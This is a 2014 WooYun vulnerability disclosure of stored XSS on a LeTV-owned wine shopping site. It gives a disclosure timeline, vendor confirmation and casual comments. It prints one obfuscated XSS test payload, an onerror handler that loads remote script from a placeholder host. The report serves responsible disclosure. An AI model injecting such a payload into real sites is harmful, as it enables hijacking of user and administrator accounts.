当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-058884

漏洞标题：乐视网旗下网酒网存在多个存储型XSS（证明可劫持用户/管理员帐号）

相关厂商：乐视网

漏洞作者： zj1244

提交时间：2014-04-29 16:08

修复时间：2014-06-13 16:09

公开时间：2014-06-13 16:09

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-29： 细节已通知厂商并且等待厂商处理中
2014-04-29： 厂商已经确认，细节仅向厂商公开
2014-05-09： 细节向核心白帽子及相关领域专家公开
2014-05-19： 细节向普通白帽子公开
2014-05-29： 细节向实习白帽子公开
2014-06-13： 细节向公众公开

简要描述：

乐视网旗下的网酒网存在存储型xss

详细说明：

20140429143709副本.jpg


测试代码：

<video><source onerror=$.get\u0053cript('http://xss.xx/xxx');>

漏洞证明：

1、

w13.jpg


2、

w11.jpg


3、

w12.jpg

修复方案：

好好过滤过滤

版权声明：转载请注明来源 zj1244@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-04-29 16:10

厂商回复：

哥哥们，你们都玩出来花了，为了你的图给满分。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-04-29 16:25 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    我一直在纳闷，乐视的网段为什么会有卖酒的，原来是真是你们的

  2. 2014-04-29 16:53 | zj1244 ( 普通白帽子 | Rank:273 漏洞数:33 | 小葵)

    为了测试漏洞买了瓶酒，能报销么(┳＿┳)

  3. 2014-04-29 17:23 | 3King ( 普通白帽子 | Rank:1129 漏洞数:92 | 【study at HNUST】非常感谢大家的关注~ 大...)

    乐视的修复速度不给力呀 这问题都报了半年了... @乐视网

  4. 2014-04-29 19:25 | 小怿 ( 路人 | Rank:29 漏洞数:6 | )

    @zj1244 拿个录音笔，然后去找乐视的攻城师去，灌醉他！就可以报销了。。

  5. 2014-04-29 22:19 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷，这坑爹的七夕啊 。。。。)

    @3King 乐视一堆问题，但从来不修复 其实乐视的OA早就被人进去N回了

  6. 2014-04-30 09:46 | chinakid ( 路人 | Rank:6 漏洞数:3 | 小白一枚，爱好美女。)

    买的啥酒呀

  7. 2014-06-13 16:15 | 迦南 ( 路人 | Rank:14 漏洞数:11 | 我不是玩黑，我就是认真)

    娱乐精神很强大

  8. 2014-06-13 16:23 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    \(^o^)/~这个得赞一下

  9. 2014-06-13 16:24 | zj1244 ( 普通白帽子 | Rank:273 漏洞数:33 | 小葵)

    @小川 川总看这个 WooYun: 豆瓣某功能平行权限漏洞 嘿嘿嘿\(^o^)/~

  10. 2014-06-13 17:15 | kider脚本小子 ( 路人 | Rank:4 漏洞数:2 | 系统软件安装及其调试。电脑硬件问题检测...)

    必须赞

  11. 2014-06-14 13:21 | 溯雪 ( 路人 | Rank:4 漏洞数:4 )

    jquery？

  12. 2014-06-19 16:34 | Manning ( 普通白帽子 | Rank:559 漏洞数:78 | 就恨自己服务器太少)

    花样玩法